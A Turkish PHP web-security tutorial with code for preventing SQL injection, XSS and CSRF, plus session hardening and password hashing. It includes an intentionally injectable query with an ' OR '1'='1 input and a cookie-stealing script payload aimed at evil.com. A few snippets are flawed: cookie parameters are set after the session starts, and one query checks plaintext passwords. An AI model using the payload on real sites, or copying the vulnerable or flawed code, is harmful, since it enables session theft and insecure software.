PHP Güvenlik Duvarı: SQL Injection, XSS, CSRF Tam Koruma Rehberi (2026 Güncel)

<?php
// KESİNLİKLE KULLANMAYIN — SQL Injection açığı var
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
// Saldırgan ' OR '1'='1 girerse tüm kullanıcılar listelenir!
?>

<?php
// GÜVENLİ — Parametrik sorgu (Prepared Statement)
$pdo = new PDO('mysql:host=localhost;dbname=sitem', $user, $pass, [
    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
    PDO::ATTR_EMULATE_PREPARES   => false,
]);

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$_POST['username'], $_POST['password']]);
$user = $stmt->fetch();
?>

<?php
$mysqli = new mysqli('localhost', 'user', 'pass', 'dbname');

$stmt = $mysqli->prepare("SELECT id, email FROM users WHERE username = ?");
$stmt->bind_param("s", $_POST['username']);
$stmt->execute();
$result = $stmt->get_result();
$user = $result->fetch_assoc();
$stmt->close();
?>

<?php
// TEHLİKELİ — kullanıcı verisi filtresiz ekrana basılıyor
echo "Merhaba " . $_GET['name'];
// Saldırgan ?name=<script>document.location='http://evil.com?c='+document.cookie</script> girer
?>

<?php
function xss($data): string {
    return htmlspecialchars((string)$data, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}

echo "Merhaba " . xss($_GET['name']);
echo "<p>" . xss($user['bio']) . "</p>";
echo "<input value='" . xss($user['city']) . "'>";
?>

<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self';");
header("X-XSS-Protection: 1; mode=block");
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: SAMEORIGIN");
header("Referrer-Policy: strict-origin-when-cross-origin");
?>

<?php
require_once 'HTMLPurifier.auto.php';
$config   = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$temiz    = $purifier->purify($_POST['yorum']);
echo $temiz;
?>

<?php
session_start();

function csrf_token(): string {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

function csrf_verify(): void {
    $token = $_POST['csrf_token'] ?? '';
    if (!hash_equals($_SESSION['csrf_token'] ?? '', $token)) {
        http_response_code(403);
        die('Güvenlik hatası: CSRF token geçersiz.');
    }
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// Formda kullanım:
// <input type="hidden" name="csrf_token" value="<?= csrf_token() ?>">

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    csrf_verify(); // ilk satır olmalı
    // ... diğer işlemler
}
?>

// JavaScript — token meta tag'dan alınır
// <meta name="csrf-token" content="<?= csrf_token() ?>">

const token = document.querySelector('meta[name="csrf-token"]').content;

fetch('/api/islem.php', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': token
    },
    body: JSON.stringify({ id: 5 })
});

<?php
// PHP tarafı — header'dan token doğrula
$token = $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!hash_equals($_SESSION['csrf_token'] ?? '', $token)) {
    http_response_code(403);
    die(json_encode(['error' => 'CSRF token hatası']));
}
?>

<?php
session_start();
session_set_cookie_params([
    'lifetime' => 0,
    'path'     => '/',
    'secure'   => true,
    'httponly' => true,
    'samesite' => 'Strict'
]);
?>

<?php
session_start();
session_regenerate_id(true); // Giriş sonrası zorunlu

$timeout = 1800; // 30 dakika
if (isset($_SESSION['son_aktivite']) && (time() - $_SESSION['son_aktivite']) > $timeout) {
    session_unset();
    session_destroy();
    header('Location: /login.php');
    exit;
}
$_SESSION['son_aktivite'] = time();
?>

<?php
// Kayıt
$hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]);

// Doğrulama
if (password_verify($_POST['password'], $hash_from_db)) {
    if (password_needs_rehash($hash_from_db, PASSWORD_BCRYPT, ['cost' => 12])) {
        $yeni_hash = password_hash($_POST['password'], PASSWORD_BCRYPT, ['cost' => 12]);
        // Veritabanını güncelle
    }
}
// ASLA: md5(), sha1(), base64_encode() ile şifre saklamayın
?>